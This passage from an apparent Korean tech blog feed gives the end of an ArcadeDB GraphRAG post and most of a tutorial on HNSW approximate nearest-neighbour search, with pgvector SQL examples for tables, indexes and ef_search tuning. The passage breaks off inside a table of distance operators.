&lt;p&gt;운영 단위가 줄어드는 대신 엔진 하나의 영향 범위가 커집니다. HA와 복제, 백업·복구 검증 없이 “DB 수가 줄었다”는 이유만으로 핵심 시스템을 합치면 안 됩니다.&lt;/p&gt;
&lt;h3&gt;기존 DB를 모두 ArcadeDB로 바꿔야 하나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 먼저 동기화 비용이 가장 큰 경계 하나를 고르세요. 예를 들어 GraphRAG의 Chunk·Entity·embedding만 ArcadeDB에서 관리하고 원본 업무 시스템은 기존 RDBMS에 둘 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;정리&lt;/h2&gt;
&lt;p&gt;ArcadeDB의 핵심은 데이터베이스 기능을 여섯 개 모았다는 데 있지 않습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;같은 데이터가 문서·그래프·벡터·검색 모델에 동시에 참여하고, 모델 사이 갱신을 한 트랜잭션으로 다룰 수 있다는 점이 핵심입니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;GraphRAG처럼 Chunk, Entity, embedding과 키워드가 강하게 연결된 시스템에서는 이 구조가 ETL과 ID 매핑, 동기화 실패를 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;p&gt;반대로 모델마다 독립적인 확장과 깊은 전문 기능이 중요하다면 여러 전문 DB를 유지하는 편이 나을 수 있습니다.&lt;/p&gt;
&lt;p&gt;도입 여부는 “몇 개 모델을 지원하는가”가 아니라 다음 질문으로 판단하세요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;우리 시스템의 복잡성은 쿼리에서 오는가, 아니면 같은 데이터를 여러 DB에 맞추는 과정에서 오는가?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;후자라면 ArcadeDB를 검토할 이유가 충분합니다.&lt;/p&gt;
&lt;h2&gt;공식 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.arcadedb.com/arcadedb/concepts/multi-model&quot;&gt;ArcadeDB Multi-Model Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.arcadedb.com/arcadedb/concepts/vector-search&quot;&gt;ArcadeDB Vector Search&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.arcadedb.com/arcadedb/use-cases/graph-rag&quot;&gt;ArcadeDB GraphRAG Use Case&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.arcadedb.com/arcadedb/tutorials/vector-search-tutorial&quot;&gt;ArcadeDB Vector Search Tutorial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/ArcadeData/arcadedb&quot;&gt;ArcadeDB GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[HNSW란? 벡터 DB가 모든 벡터를 비교하지 않는 방법]]></title><description><![CDATA[안녕하세요. 자바파커입니다. RAG나 추천 시스템을 만들다 보면 이런 SQL을 사용합니다. 의미는 단순합니다. 질문 벡터와 가장 가까운 문서 벡터 5개를 찾는 것입니다. 문서가 1,00…]]></description><link>https://blog.javapark.kr/hnsw-vector-search/</link><guid isPermaLink="false">https://blog.javapark.kr/hnsw-vector-search/</guid><pubDate>Tue, 01 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/HNJD6tg_l5Y&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQ0lEQVR42hWQSW+bQACFSS3DzDBgw7ANuw3GGBsbDNg4XmI3VlKlTZOoi9qemjSHtqcqUpefXyI9vdun9+kxbaAgycNaKBgRr4ZYH3KCw/IWh20OO0D0kRYDYwzdEvgL0K+bhm6B3ALSKdPmVFaL+N4c+nNWjcXBEqkRy9uc4DYB3QCbMz3fO9HMCFMaTGhai/EG6mPkzBkOGdvNq/3u6vb6y8cPD2E/Z04kFpnPsNgDJAI0VbOdO517xcqtNsH20K83rFMgv2A4wSrfPay+/lrfP11+/1c//jFPr836CkhBA8PGxcp4KxeCDQzWrd5aTurocOTcEnnNMrbc8iI8e+8v3jjllXV6R7NLJd4hOQbdEChDXksEK8NNzJmSHQabMzmuoTWDbsZA0Z+VN1l5M5m/TYu7XnTeiw7EyGF3BKUYKjFPU97Oca9i3Wq4XCjjuk2nyMmAnTJYCqdJMhhks3Re5eWqqgfJ3gzPzf6W2BWUR1gfi3YueVUnKINiAfQEOzk0xkAbMlgeqjRVaGm5te2vTW+j2muJrrp0Ieo5kkeIxLw64tVE8Eovr0gvZXm3LXgcCRo4EdVcMmqZbhXrpWIfibWXzdOOXglqhpQEyhHXDaA8wMa4f/tw8ff36f0jyY8sthiBTDraXDaWqr3T3XPdOyr2XjLXXVoJWoZIwknh8/Mdn6ej4eefw08/Jt+e6Pp1mzcZTCbEWurujlhb1T6ozoHY20Zb1AtBmzbOz6TUB1Kf7XgvWuSkJTMn3RbQWMn7D0qCWHHrb4LtAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0f2295671f493c5e8f3e7412fb4d8fb6/a1b3b/thumbnail.webp 215w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/fc700/thumbnail.webp 430w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/521f7/thumbnail.webp 860w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0f2295671f493c5e8f3e7412fb4d8fb6/f7886/thumbnail.png 215w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/bc750/thumbnail.png 430w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/3e3fe/thumbnail.png 860w,
/static/0f2295671f493c5e8f3e7412fb4d8fb6/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0f2295671f493c5e8f3e7412fb4d8fb6/3e3fe/thumbnail.png&apos; alt=&apos;계층형 벡터 그래프에서 위층의 긴 점프와 아래층의 정밀 탐색으로 최근접 이웃을 찾는 HNSW 영상 보기&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;계층형 벡터 그래프에서 위층의 긴 점프와 아래층의 정밀 탐색으로 최근접 이웃을 찾는 HNSW 영상 보기&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요. &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;RAG나 추천 시스템을 만들다 보면 이런 SQL을 사용합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; embedding &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&gt;&lt;/span&gt; :query_embedding
&lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;의미는 단순합니다. 질문 벡터와 가장 가까운 문서 벡터 5개를 찾는 것입니다.&lt;/p&gt;
&lt;p&gt;문서가 1,000개라면 전부 비교해도 큰 문제가 없습니다. 하지만 벡터가 수백만 개라면 매 요청마다 모든 벡터의 거리를 계산하는 &lt;strong&gt;완전탐색(Exact Search)&lt;/strong&gt; 은 부담이 커집니다.&lt;/p&gt;
&lt;p&gt;여기서 HNSW가 등장합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;HNSW는 비슷한 벡터끼리 연결한 계층형 그래프를 만들고, 위층에서 멀리 이동한 뒤 아래층에서 후보를 좁혀 모든 벡터를 비교하지 않고 가까운 이웃을 찾습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;대신 중요한 대가가 있습니다. HNSW는 일반적으로 &lt;strong&gt;근사 최근접 이웃 검색(ANN)&lt;/strong&gt; 입니다. 더 빠른 검색을 얻는 대신 항상 정확한 이웃을 찾는다고 보장하지 않습니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 그림으로 이해하는 원리에서 끝나지 않고 pgvector 인덱스 생성, 세 가지 핵심 파라미터, 필터가 붙을 때 결과가 줄어드는 이유, recall과 지연 시간을 함께 측정하는 방법까지 정리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;HNSW란? — Hierarchical Navigable Small World&lt;/h2&gt;
&lt;p&gt;HNSW는 &lt;strong&gt;Hierarchical Navigable Small World&lt;/strong&gt;의 약자입니다.&lt;/p&gt;
&lt;p&gt;단어를 나누면 구조가 보입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단어&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hierarchical&lt;/td&gt;
&lt;td&gt;여러 층으로 구성된 그래프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Navigable&lt;/td&gt;
&lt;td&gt;가까운 이웃을 따라 원하는 영역으로 이동할 수 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Small World&lt;/td&gt;
&lt;td&gt;가까운 연결과 먼 연결이 함께 있어 적은 단계로 이동 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;각 벡터는 그래프의 노드가 됩니다. 비슷한 벡터끼리 간선으로 연결합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;q ── A ── B ── C
          │  ╱
          D ── E ── F&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;한 층짜리 근접 그래프만 있어도 이웃을 따라 검색할 수 있습니다. 하지만 멀리 떨어진 영역으로 이동하려면 많은 노드를 거쳐야 합니다.&lt;/p&gt;
&lt;p&gt;HNSW는 이를 여러 층으로 쌓습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Layer 2        A ─────────────── H
               │                │
Layer 1        A ─── D ─── F ─── H
               │     │     │    │
Layer 0        A─B─C─D─E─F─G─H─I─J&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;위층&lt;/strong&gt;: 노드가 적고 연결 거리가 깁니다. 목적지 근처까지 빠르게 이동합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;아래층&lt;/strong&gt;: 노드가 많고 연결이 촘촘합니다. 가까운 후보를 정밀하게 찾습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;고속도로에서 목적지 도시까지 이동한 뒤, 일반도로와 골목으로 내려오는 것과 비슷합니다.&lt;/p&gt;
&lt;p&gt;HNSW 원 논문에서는 노드가 올라갈 최대 층을 지수적으로 감소하는 확률 분포로 정합니다. 그래서 대부분의 노드는 0층에만 있고, 소수의 노드만 위층까지 올라가 긴 거리 이동의 이정표가 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;완전탐색과 HNSW의 차이&lt;/h2&gt;
&lt;h3&gt;완전탐색&lt;/h3&gt;
&lt;p&gt;질문 벡터 &lt;code class=&quot;language-text&quot;&gt;q&lt;/code&gt;와 모든 벡터의 거리를 계산하고 정렬합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;distance(q, v1)
distance(q, v2)
distance(q, v3)
...
distance(q, vn)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;장점은 명확합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;데이터가 같고 거리 함수가 같다면 정확한 최근접 이웃을 찾습니다&lt;/li&gt;
&lt;li&gt;별도 그래프 인덱스가 필요 없습니다&lt;/li&gt;
&lt;li&gt;데이터가 작거나 필터 결과가 매우 작으면 오히려 단순하고 빠를 수 있습니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;단점은 데이터가 증가할수록 비교량도 함께 증가한다는 점입니다.&lt;/p&gt;
&lt;h3&gt;HNSW&lt;/h3&gt;
&lt;p&gt;HNSW는 현재 노드의 이웃 중 질문 벡터에 더 가까운 노드로 이동합니다. 더 가까워지는 이웃이 없으면 한 층 아래로 내려갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;상위 Entry Point
  → 긴 점프
  → 더 가까운 노드
  → 아래층 이동
  → 후보 목록 확장
  → Top-K 반환&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;비교하지 않은 벡터가 남아 있으므로 검색 결과는 근사값입니다. 그래프 품질과 탐색 후보 수가 충분하지 않으면 실제 최근접 이웃을 놓칠 수 있습니다.&lt;/p&gt;
&lt;p&gt;따라서 HNSW를 도입했다는 사실만으로 성공이 아닙니다. &lt;strong&gt;정확 검색 결과를 기준으로 recall을 측정해야 합니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;검색은 어떻게 진행될까&lt;/h2&gt;
&lt;p&gt;HNSW 검색은 크게 두 단계입니다.&lt;/p&gt;
&lt;h3&gt;1단계 — 위층에서 Greedy Search&lt;/h3&gt;
&lt;p&gt;가장 높은 층의 진입점에서 시작합니다.&lt;/p&gt;
&lt;p&gt;현재 노드보다 질문에 가까운 이웃이 있으면 이동합니다. 더 가까운 이웃이 없을 때까지 반복한 뒤 한 층 아래로 내려갑니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;현재 노드 A: distance = 0.82
이웃 D:      distance = 0.61  → 이동
이웃 H:      distance = 0.34  → 이동
다른 이웃:   distance &gt; 0.34 → 멈춤, 아래층으로&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;상위 층의 목적은 정답을 확정하는 것이 아니라 &lt;strong&gt;검색할 지역을 빠르게 좁히는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;h3&gt;2단계 — 0층에서 후보를 넓혀 탐색&lt;/h3&gt;
&lt;p&gt;가장 아래층에서는 후보 목록을 유지하며 여러 경로를 확인합니다.&lt;/p&gt;
&lt;p&gt;이 후보 목록의 크기를 제어하는 대표 값이 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;작은 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;: 적은 노드만 확인, 빠르지만 정답을 놓칠 가능성 증가&lt;/li&gt;
&lt;li&gt;큰 &lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;: 더 많은 노드 확인, recall 증가 가능, 지연 시간 증가&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;검색이 끝나면 후보 중 거리가 가까운 Top-K를 반환합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래프는 어떻게 만들어질까&lt;/h2&gt;
&lt;p&gt;새 벡터가 들어오면 다음 과정을 거칩니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;새 노드가 올라갈 최대 층을 무작위로 결정합니다&lt;/li&gt;
&lt;li&gt;기존 그래프의 가장 높은 진입점에서 검색을 시작합니다&lt;/li&gt;
&lt;li&gt;각 층에서 새 노드와 가까운 후보를 찾습니다&lt;/li&gt;
&lt;li&gt;후보 중 일부를 선택해 양방향 간선을 연결합니다&lt;/li&gt;
&lt;li&gt;0층까지 내려가며 반복합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;여기서 무조건 가장 가까운 노드만 연결하면 밀집된 한 영역에 간선이 몰릴 수 있습니다. HNSW는 탐색에 도움이 되는 다양한 방향의 이웃을 남기는 휴리스틱을 사용합니다.&lt;/p&gt;
&lt;p&gt;이 때문에 HNSW 인덱스는 단순한 정렬 배열보다 다음 비용이 큽니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;그래프를 만드는 CPU 시간&lt;/li&gt;
&lt;li&gt;간선을 저장하는 메모리&lt;/li&gt;
&lt;li&gt;삽입 시 이웃을 탐색하고 연결하는 비용&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;pgvector 문서도 HNSW가 IVFFlat보다 일반적으로 더 나은 speed-recall trade-off를 제공하지만, 빌드가 느리고 메모리를 더 사용한다고 설명합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;세 가지 파라미터 — M, ef_construction, ef_search&lt;/h2&gt;
&lt;p&gt;HNSW 튜닝은 우선 세 값만 구분하면 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;파라미터&lt;/th&gt;
&lt;th&gt;시점&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;높이면 생기는 일&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;인덱스&lt;/td&gt;
&lt;td&gt;노드당 최대 연결 수&lt;/td&gt;
&lt;td&gt;recall·메모리·빌드 비용 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ef_construction&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;인덱스&lt;/td&gt;
&lt;td&gt;그래프 생성 시 검토할 후보 수&lt;/td&gt;
&lt;td&gt;그래프 품질·recall·빌드 시간 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ef_search&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;쿼리&lt;/td&gt;
&lt;td&gt;검색 시 유지할 동적 후보 수&lt;/td&gt;
&lt;td&gt;recall·검색 지연·CPU 사용 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;pgvector의 기본 예시는 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; document_chunks_embedding_hnsw_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; hnsw &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding vector_cosine_ops&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;m &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ef_construction &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;검색 시점에는 세션 또는 트랜잭션 범위로 설정할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;BEGIN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LOCAL&lt;/span&gt; hnsw&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ef_search &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
       content&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
       &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&gt;&lt;/span&gt; :query_embedding&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;AS&lt;/span&gt; similarity
&lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;ORDER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;BY&lt;/span&gt; embedding &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&gt;&lt;/span&gt; :query_embedding
&lt;span class=&quot;token keyword&quot;&gt;LIMIT&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;COMMIT&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;처음부터 값을 크게 올리지 마세요. 기본값에서 recall·p95 latency·메모리를 측정하고 병목에 맞춰 하나씩 조정하는 편이 안전합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;pgvector로 HNSW 구성하기&lt;/h2&gt;
&lt;h3&gt;1. 확장과 테이블&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; EXTENSION &lt;span class=&quot;token keyword&quot;&gt;IF&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXISTS&lt;/span&gt; vector&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; document_chunks &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    id          bigserial &lt;span class=&quot;token keyword&quot;&gt;PRIMARY&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    document_id &lt;span class=&quot;token keyword&quot;&gt;bigint&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    tenant_id   &lt;span class=&quot;token keyword&quot;&gt;bigint&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    category_id &lt;span class=&quot;token keyword&quot;&gt;bigint&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    content     &lt;span class=&quot;token keyword&quot;&gt;text&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    embedding   vector&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1536&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    created_at  timestamptz &lt;span class=&quot;token operator&quot;&gt;NOT&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;NULL&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;DEFAULT&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;차원 &lt;code class=&quot;language-text&quot;&gt;1536&lt;/code&gt;은 예시입니다. 실제 임베딩 모델의 출력 차원과 반드시 일치해야 합니다.&lt;/p&gt;
&lt;h3&gt;2. 거리 함수에 맞는 인덱스&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;sql&quot;&gt;&lt;pre class=&quot;language-sql&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;-- cosine distance&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; document_chunks_embedding_cosine_hnsw_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; hnsw &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding vector_cosine_ops&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- L2 distance가 필요하면 별도 인덱스&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INDEX&lt;/span&gt; document_chunks_embedding_l2_hnsw_idx
&lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; document_chunks
&lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; hnsw &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;embedding vector_l2_ops&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;거리 연산자도 맞춰야 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;목적&lt;/th&gt;
&lt;th&gt;연산자&lt;/th&gt;
&lt;th&gt;opclass&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
